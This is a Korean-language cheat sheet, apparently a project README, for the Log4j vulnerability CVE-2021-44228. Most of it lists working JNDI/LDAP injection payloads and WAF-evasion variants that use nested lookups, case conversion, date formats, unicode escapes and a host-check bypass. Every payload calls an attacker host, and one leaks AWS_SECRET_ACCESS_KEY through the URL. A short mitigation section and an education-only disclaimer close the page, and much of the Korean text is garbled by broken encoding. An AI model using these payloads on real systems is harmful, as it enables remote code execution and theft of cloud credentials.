
๐ฑโ๐ป โ๏ธ ๐คฌ CVE-2021-44228 - LOG4J Java ์ต์คํ๋ก์ - WAF ์ฐํ ํธ๋ฆญ
CVE-2021-44228๋ ๋ค์์์ ์๋ํฉ๋๋ค:
log4j: 2.0 <= Apache log4j <= 2.14.1
์ด๋ฏธ ํจ์น๋ Java ๋ฒ์ : 6u211+, 7u201+, 8u191+, 11.0.1+.
Windows Defender์์ jndi:ldap:....์ ํฌํจํ๋ .java ํ์ผ์ ์ ๊ฑฐํ๊ธฐ ์์ํ์ต๋๋ค.
๊ฐ๋จํ ๊ณต๊ฒฉ์ ์คํฌ๋ฆฝํธ (๊ฐ๋ฅํ RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAF ๋๋ ๊ฐ๋ฐ์๊ฐ ๋ค์ ๊ตฌ๋ฌธ์ ์ฐจ๋จํ๊ธฐ ์์ํ์ต๋๋ค:
์ ํ๋ฆฌ์ผ์ด์ ์ ๋ณดํธํ๊ธฐ ์ํด.
๊ทธ๋ฌ๋ ๊ณต๊ฒฉ์๋ ๋ค์ ๊ธฐ์ ์ค ํ๋๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฅผ ์ฐํํ ์ ์์ต๋๋ค:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Apache Log4j 2 ๋ฌธ์์์: ${env:ENV_NAME:-default_value}
ENV_NAME ์์คํ ํ๊ฒฝ ๋ณ์๊ฐ ์์ผ๋ฉด :- ๋ค์ ํ ์คํธ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
๊ณต๊ฒฉ์๋ ENV_NAME ๋์ ์ด๋ค ์ด๋ฆ์ด๋ ์ฌ์ฉํ ์ ์์ง๋ง, ์กด์ฌํ์ง ์์์ผ ํฉ๋๋ค.
๋๋ ํด์ปค๊ฐ ํ๊ฒฝ ๋ณ์๋ฅผ ์ฝ์ ์ ์์ต๋๋ค. ์: AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
๋ ๋ง์ ๋น๋ฐ์ ๐ฆ๐ ํ๊ฒฝ ๋ณ์์ ์๋ ๋น๋ฐ ๋ชฉ๋ก ๐ฅ๏ธ์์ ํ์ธํ์ธ์.
์์คํ ํ๊ฒฝ ๋ณ์๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
dir env:printenv ๋๋ env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
์๋ฌธ์ ์กฐํ (Lower Lookup) LowerLookup์ ์ ๋ฌ๋ ์ธ์๋ฅผ ์๋ฌธ์๋ก ๋ณํํฉ๋๋ค. ๊ฐ์ ์ค์ฒฉ ์กฐํ์ ๊ฒฐ๊ณผ์ผ ๊ฒ์ ๋๋ค.
${lower:<text>}
๋๋ฌธ์ ์กฐํ (Upper Lookup) UpperLookup์ ์ ๋ฌ๋ ์ธ์๋ฅผ ๋๋ฌธ์๋ก ๋ณํํฉ๋๋ค. ๊ฐ์ ์ค์ฒฉ ์กฐํ์ ๊ฒฐ๊ณผ์ผ ๊ฒ์ ๋๋ค.
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ฤฑ}:ldap://somesitehackerofhell.com/z}
ฤฑ๊ฐ i๋ก ๋ณํ๋ฉ๋๋ค.
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
SYS_NAME ์์คํ ์์ฑ์ด ์์ผ๋ฉด :- ๋ค์ ํ ์คํธ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Java ๋ ์ง ํ์์ YYYY๋ฅผ 2021๋ก ๋ณํํ์ง๋ง, 'YYYY'๋ฅผ YYYY๋ก, 'j'๋ฅผ j๋ก ๋ณํํฉ๋๋ค.
๋ค์ ๋ฌธ์๋ฅผ ๋ฐ๊ฟ๋๋ค:
์์ธํ ๋ด์ฉ์ HTML URL ์ธ์ฝ๋ฉ ์ฐธ์กฐ์์ ํ์ธํ์ธ์.
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
์กฐํ์ ์กด์ฌ ์ฌ๋ถ๋ฅผ ํ์ธํ์ง ์๊ณ ๊ธฐ๋ณธ๊ฐ์ ์ฌ์ฉํฉ๋๋ค.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"์ด ํค์ ๊ฐ์ ๊ฐ๋ณ์ ์ผ๋ก๋ ๊ณต๊ฒฉ์ ๋ํ๋ด์ง ์์ง๋ง, ๋ชจ๋ ํจ๊ป ์ฌ์ฉํ๋ฉด ๊ณต๊ฒฉ์ด๋ฉฐ, ์ด ๊ณต๊ฒฉ์ JSON ํ์ ๋๋ฌธ์ ํ์ง ์์คํ ์ ํฌ๋ช ํ๊ฒ ๋ณด์ ๋๋ค." ์์ธํ ์ฝ๊ธฐ...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
์ผ๋ถ ๋ฌธ์๋ฅผ ์ ๋์ฝ๋๋ก ๋ณํํฉ๋๋ค.
์ ๋์ฝ๋ ๋ณํ๊ธฐ ์จ๋ผ์ธ
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Log4J 2.15.0์์ allowedLdapHost ๋ฐ allowedClasses ๊ฒ์ฌ๋ฅผ ์ฐํํฉ๋๋ค. java.net.URI getHost() ๋ฉ์๋๋ # ์์ ๊ฐ์ ์ค์ ํธ์คํธ๋ก ๋ฐํํฉ๋๋ค. ๊ทธ๋ฌ๋ JNDI/LDAP ๋ฆฌ์กธ๋ฒ๋ ์ ์ฒด ํธ์คํธ ์ด๋ฆ ๋ฌธ์์ด๋ก ํด์ํ์ฌ ์ ์์ ์ธ LDAP ์๋ฒ์ ์ฐ๊ฒฐ์ ์๋ํฉ๋๋ค.
${${::-${::-$${::-j}}}}
์ด๋ค ์ด์ ๋ก๋ ๋ค์ ๋ฌธ์์ด์ ๋ํด ๋ฌธ์์ด ๋์ฒด๊ฐ ์๋๋๋ฉด ๋ฌดํ ์ฌ๊ท๋ฅผ ์ ๋ฐํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ถฉ๋ํฉ๋๋ค.
CVE-2021-44228์ ์ ์ฉํ๊ธฐ ์ํด ํน์ PDF ํ์ผ์ ์ ์ํฉ๋๋ค.

PDF ํ์ผ ๋ฐ๊ธฐ ๋ฐ ์์ธํ ์ฝ๊ธฐ...
์ํธ๋ฆฌ๋ฅผ ํ ์คํธํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
tl;dr log4j-2.17.1 ์ด์์ผ๋ก ์
๋ฐ์ดํธํ์ธ์.
Log4j 1.x ์ํ: Log4j 1.x์๋ Lookups๊ฐ ์์ผ๋ฏ๋ก ์ํ์ด ๋ฎ์ต๋๋ค. Log4j 1.x๋ฅผ ์ฌ์ฉํ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ตฌ์ฑ์์ JNDI๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ์๋ง ์ด ๊ณต๊ฒฉ์ ์ทจ์ฝํฉ๋๋ค. ์ด ์ทจ์ฝ์ ์ ๋ํด ๋ณ๋์ CVE(CVE-2021-4104)๊ฐ ๋ฑ๋ก๋์์ต๋๋ค. ์ํ ๋ฐฉ๋ฒ: ๋ก๊น ๊ตฌ์ฑ์ ๊ฐ์ฌํ์ฌ JMSAppender๊ฐ ๊ตฌ์ฑ๋์ด ์์ง ์์์ง ํ์ธํ์ธ์. JMSAppender๊ฐ ์๋ Log4j 1.x ๊ตฌ์ฑ์ ์ด ์ทจ์ฝ์ ์ ์ํฅ์ ๋ฐ์ง ์์ต๋๋ค.
Log4j 2.x ์ํ: ์๋ ์ํ ๊ธฐ๋ฒ ์ค ํ๋๋ฅผ ๊ตฌํํ์ธ์.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class ๋ฐ HTTP ํค๋๋ ์ฌ์ฉ์ ์
๋ ฅ๊ณผ ๊ฐ์ ์ ํ๋ฆฌ์ผ์ด์
์ธ๋ถ ์ถ์ฒ์์ ์ค๋ ${ctx:loginId} ๋๋ $${ctx:loginId}์ ๊ฐ์ Context Lookups์ ๋ํ ์ฐธ์กฐ๋ฅผ ์ ๊ฑฐํ์ธ์.log4j-core JAR ํ์ผ๋ง ์ด ์ทจ์ฝ์ ์ ์ํฅ์ ๋ฐ์ต๋๋ค. log4j-api JAR ํ์ผ๋ง ์ฌ์ฉํ๊ณ log4j-core JAR ํ์ผ ์์ด ์ฌ์ฉํ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ด ์ทจ์ฝ์ ์ ์ํฅ์ ๋ฐ์ง ์์ต๋๋ค.

์ด ํ๋ก์ ํธ๋ ๊ต์ก ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ์ฌ์ ํ๊ฐ ์์ด ๋์ ์์คํ ์ ๋ํด ์ด ์ํํธ์จ์ด๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ๋ถ๋ฒ์ด๋ฉฐ, ์ด ์ํํธ์จ์ด์ ์ค์ฉ์ผ๋ก ์ธํ ์ํด์ ๋ํด ์ ์๋ ์ฑ ์์ ์ง์ง ์์ต๋๋ค.
์ ์๋ CVE-2021-44228 ๋ฐ ์ผ๋ถ ์ฐํ ๊ธฐ๋ฒ์ ์์ฑ์๊ฐ ์๋๋๋ค.